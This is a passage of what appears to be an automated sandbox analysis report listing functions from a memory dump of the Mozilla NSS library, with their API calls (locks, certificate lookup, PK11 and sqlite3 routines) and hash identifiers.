PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CC67313), ref: 6CC6906B

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CC67313), ref: 6CC69128

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: d24569561fc7a482e04f8d146e222dced9a4e351b0e753c939967173eceabff9
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 3F517E71A002018BEB109F6BDEC4B26B7F5AF44318F254129D955DBF61FB32E805CB91

Function 6CC19C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CC18850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CC20715), ref: 6CC18859
Part of subcall function 6CC18850: PR_NewLock.NSS3 ref: 6CC18874
Part of subcall function 6CC18850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CC1888D

PR_NewLock.NSS3 ref: 6CC19CAD

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

TlsGetValue.KERNEL32 ref: 6CC19CE8
EnterCriticalSection.KERNEL32(?,?,6CC1ECEC,6CC22FCD,00000000,?,6CC22FCD,?), ref: 6CC19D01
TlsGetValue.KERNEL32(?,?,?,6CC1ECEC,6CC22FCD,00000000,?,6CC22FCD,?), ref: 6CC19D38
EnterCriticalSection.KERNEL32(?,?,6CC1ECEC,6CC22FCD,00000000,?,6CC22FCD,?), ref: 6CC19D4D
PR_Unlock.NSS3 ref: 6CC19D70
PR_Unlock.NSS3 ref: 6CC19DC3
PR_NewLock.NSS3 ref: 6CC19DDD

Part of subcall function 6CC188D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC20725,00000000,00000058), ref: 6CC18906
Part of subcall function 6CC188D0: EnterCriticalSection.KERNEL32(?), ref: 6CC1891A
Part of subcall function 6CC188D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CC1894A
Part of subcall function 6CC188D0: calloc.MOZGLUE(00000001,6CC2072D,00000000,00000000,00000000,?,6CC20725,00000000,00000058), ref: 6CC18959
Part of subcall function 6CC188D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CC18993
Part of subcall function 6CC188D0: PR_Unlock.NSS3(?), ref: 6CC189AF

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 0bae8220f4c56b12bbc42006c73a650f5fb645a0d6478e280ef1dfdf58e8d7c3
Instruction ID: 5beea1d366a337bba3f129d0ba62009480ca53435d812c58fcb00cab6d1495a4
Opcode Fuzzy Hash: 0bae8220f4c56b12bbc42006c73a650f5fb645a0d6478e280ef1dfdf58e8d7c3
Instruction Fuzzy Hash: 98516171A187058FDB00EF6AC08466EBBF4BF44358F1585A9D8989BF10FB30E885DB91

Function 6CD19EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD19EC0
EnterCriticalSection.KERNEL32(?), ref: 6CD19EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CD19F73
EnterCriticalSection.KERNEL32(?), ref: 6CD19FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CD19FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CD19FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CD1A01D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 96bdd21b602cbfb2a099b6f8488e045a7e4e1aa6251ae9f370ebbda16179d653
Instruction ID: a5e7edaf42800ae63bd2a75671d65cdc411a850a57ae0bb9bd2e87c53dd6ed35
Opcode Fuzzy Hash: 96bdd21b602cbfb2a099b6f8488e045a7e4e1aa6251ae9f370ebbda16179d653
Instruction Fuzzy Hash: 2751A0B2904600DFCB109F25E88465AB7F4FF08319F25856AD85957F26E731E889CBD2

Function 6CC24E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC24E90
EnterCriticalSection.KERNEL32 ref: 6CC24EA9
TlsGetValue.KERNEL32 ref: 6CC24EC6
EnterCriticalSection.KERNEL32 ref: 6CC24EDF
PL_HashTableLookup.NSS3 ref: 6CC24EF8
PR_Unlock.NSS3 ref: 6CC24F05
PR_Now.NSS3 ref: 6CC24F13
PR_Unlock.NSS3 ref: 6CC24F3A

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: f8b383a2da9a8a78bb1dc1d5e6b4eedd00438ad85f7c439a7150251f45a0f930
Instruction ID: 740725baf431546229bc1d081410502de51e26bf79dd03ea7ef460922d18e558
Opcode Fuzzy Hash: f8b383a2da9a8a78bb1dc1d5e6b4eedd00438ad85f7c439a7150251f45a0f930
Instruction Fuzzy Hash: B54139B4A00605DFDB00EF79C4848AAFBF4FF89314B018569ED599B711EB30E895CB91

Function 6CC0DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CC0DCFA

Part of subcall function 6CCC9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DC6
Part of subcall function 6CCC9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DD1
Part of subcall function 6CCC9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC0DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CC0DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CC0DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC0DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CC0DD8F

Part of subcall function 6CC206A0: TlsGetValue.KERNEL32 ref: 6CC206C2
Part of subcall function 6CC206A0: EnterCriticalSection.KERNEL32(?), ref: 6CC206D6
Part of subcall function 6CC206A0: PR_Unlock.NSS3 ref: 6CC206EB

CERT_DestroyCertificate.NSS3(?), ref: 6CC0DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CC0DDB7

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 47fb743819b770cabf45095fee3027f294e5fb777d22963ae1d0ef29ef1757fe
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: A5214CB6F012169BDB019F95DC40A9FB7B4AF05318F1400A5E914A7711F722E915CBF2

Function 6CC03C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CC7460B,?,?), ref: 6CC03CA9
EnterCriticalSection.KERNEL32(?), ref: 6CC03CB9
PL_HashTableLookup.NSS3(?), ref: 6CC03CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC03CD6
PR_Unlock.NSS3 ref: 6CC03CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CC03CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC03D03
PR_Unlock.NSS3 ref: 6CC03D15

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 87bb1eb8ea4ec7c346d6e5f9e57e7579e92fadaa8b0aaaf4e5626570f4db6d92
Instruction ID: 9ecd30acbb7adad2918f2d212a4fd7a7b05f3942efc6a2ff5ff22ec2385b96d0
Opcode Fuzzy Hash: 87bb1eb8ea4ec7c346d6e5f9e57e7579e92fadaa8b0aaaf4e5626570f4db6d92
Instruction Fuzzy Hash: 5D11067AF00205ABEB011B26AC058BA3A3CEB0225CF184170EE1883711F722D869C6E1

Function 6CC88D20 Relevance: 10.8, APIs: 7, Instructions: 290memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD002,00000000), ref: 6CC88E19
free.MOZGLUE(?), ref: 6CC88E2D
PORT_Alloc_Util.NSS3(?), ref: 6CC88F01
memcpy.VCRUNTIME140(?,?,?), ref: 6CC88F57
free.MOZGLUE(?), ref: 6CC88F7D
PR_GetCurrentThread.NSS3 ref: 6CC88F8A
PR_SetError.NSS3(FFFFD044,00000000), ref: 6CC890D6

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Errorfree$Alloc_CurrentThreadUtilmemcpy
String ID:
API String ID: 4163001165-0
Opcode ID: e9c4e3992b5daa85f309fd70a70f3e865e02a339f5bd917648cc58f0e671b24f
Instruction ID: b03f6d72c1dc9a9335aa39a0b3f72f8b7a0deca3a7dc7696c63a6780161f9024
Opcode Fuzzy Hash: e9c4e3992b5daa85f309fd70a70f3e865e02a339f5bd917648cc58f0e671b24f
Instruction Fuzzy Hash: 9AA1B3756052019BE710CF25C880FABBBE5EF9830CF04496EE949DBA52F731E644C7A2

Function 6CC78C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC78C93

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Part of subcall function 6CC58A60: TlsGetValue.KERNEL32(6CC061C4,?,6CC05F9C,00000000), ref: 6CC58A81
Part of subcall function 6CC58A60: TlsGetValue.KERNEL32(?,?,?,6CC05F9C,00000000), ref: 6CC58A9E
Part of subcall function 6CC58A60: EnterCriticalSection.KERNEL32(?,?,?,?,6CC05F9C,00000000), ref: 6CC58AB7
Part of subcall function 6CC58A60: PR_Unlock.NSS3(?,?,?,?,?,6CC05F9C,00000000), ref: 6CC58AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6CC78CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6CC78D10

Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,00000000,6CC061C4,?,6CC05639,00000000), ref: 6CC58991
Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,?,?,?,?,6CC05639,00000000), ref: 6CC589AD
Part of subcall function 6CC58970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC05639,00000000), ref: 6CC589C6
Part of subcall function 6CC58970: PR_WaitCondVar.NSS3 ref: 6CC589F7
Part of subcall function 6CC58970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC05639,00000000), ref: 6CC58A0C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 85c3d4a0b7f43125012929f2854750ce6a7c92b24ae4d96d9552cf6d8833d54b
Instruction ID: c47bb1a7966bdc7f8ffebbe2ac907241a0c2e3cfd0049e2cf844e81fe2089f73
Opcode Fuzzy Hash: 85c3d4a0b7f43125012929f2854750ce6a7c92b24ae4d96d9552cf6d8833d54b
Instruction Fuzzy Hash: 60B18FB0D003099FEB14CF65DC50AAEB7BAFF48308F14812EE91AA7751E731A955CB61

Function 6CC09C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC211C0: PR_NewLock.NSS3 ref: 6CC21216

free.MOZGLUE(?), ref: 6CC09E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC09E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC09E4E
TlsGetValue.KERNEL32 ref: 6CC09EA2

Part of subcall function 6CC19500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CC19546

EnterCriticalSection.KERNEL32(?), ref: 6CC09EB6
PR_Unlock.NSS3 ref: 6CC09ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CC09F18

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 0304ed48af9a58df2d44abe00a9b0cc83097b9d8994559ae14ba4ad4b5f8d760
Instruction ID: fd0f4ff8c58c2ff57f4784adfe940066331bcba5c3069cb6796ea52b9d01ef9a
Opcode Fuzzy Hash: 0304ed48af9a58df2d44abe00a9b0cc83097b9d8994559ae14ba4ad4b5f8d760
Instruction Fuzzy Hash: EB81F4B1B04701ABEB009F35DC40BABB7A9BF45248F144528ED5987F51FB32E958C7A1

Function 6CC1DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(D958E852,6CC21397,5B5F5EC0,?,?,6CC1B1EE,2404110F,?,?), ref: 6CC1AB3C
Part of subcall function 6CC1AB10: free.MOZGLUE(D958E836,?,6CC1B1EE,2404110F,?,?), ref: 6CC1AB49
Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(5D5E6CE1), ref: 6CC1AB5C
Part of subcall function 6CC1AB10: free.MOZGLUE(5D5E6CD5), ref: 6CC1AB63
Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CC1AB6F
Part of subcall function 6CC1AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CC1AB76

TlsGetValue.KERNEL32 ref: 6CC1DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CC1DD0E
PK11_IsFriendly.NSS3(?), ref: 6CC1DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CC1DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC1DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC1DEA6
PR_Unlock.NSS3(?), ref: 6CC1DF08

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 1f8441646316969c91d3aee22f59f87ba7fa32e7945eca055180d183cb5cb370
Instruction ID: cd4e2d9a608a490a64482f45879174c6891bbaab54d8a0e3602757e5368aec97
Opcode Fuzzy Hash: 1f8441646316969c91d3aee22f59f87ba7fa32e7945eca055180d183cb5cb370
Instruction Fuzzy Hash: 7A9113B5A082019FEB01DF6AD880BAAB7B5FF44309F158068DD199BF41F731E905DBA1

Function 6CBD5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CCBBB62,00000004,6CD24CA4,?,?,00000000,?,?,6CB931DB), ref: 6CBD60AB
sqlite3_config.NSS3(00000004,6CD24CA4,6CCBBB62,00000004,6CD24CA4,?,?,00000000,?,?,6CB931DB), ref: 6CBD60EB
sqlite3_config.NSS3(00000012,6CD24CC4,?,?,6CCBBB62,00000004,6CD24CA4,?,?,00000000,?,?,6CB931DB), ref: 6CBD6122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBD6095
%s at line %d of [%.10s], xrefs: 6CBD60A4
misuse, xrefs: 6CBD609F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 7da5c1b63a4c69f9d90516b7814416916a74e6b82b4ef67c94afc7544f3e5706
Instruction ID: 329bf330c81fe9ba92611b94c816ed251b751a076c96f2d207c82e1c629ac3c3
Opcode Fuzzy Hash: 7da5c1b63a4c69f9d90516b7814416916a74e6b82b4ef67c94afc7544f3e5706
Instruction Fuzzy Hash: D1B19574E0464ACFDB08CF6CC2809A9B7F4FF1E304B458559D609AB762E734BA84CB95

Function 6CC7DE70 Relevance: 10.7, APIs: 7, Instructions: 224COMMON

Download Yara Rule

APIs

SECITEM_CompareItem_Util.NSS3(FFFFD064,?), ref: 6CC7DFB9
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CC7E029

Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,00000000,6CC061C4,?,6CC05639,00000000), ref: 6CC58991
Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,?,?,?,?,6CC05639,00000000), ref: 6CC589AD
Part of subcall function 6CC58970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC05639,00000000), ref: 6CC589C6
Part of subcall function 6CC58970: PR_WaitCondVar.NSS3 ref: 6CC589F7
Part of subcall function 6CC58970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC05639,00000000), ref: 6CC58A0C

PR_SetError.NSS3(FFFFD06A,00000000), ref: 6CC7E072
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC7E098
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC7E0A7
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC7E0F1
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC7E10A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

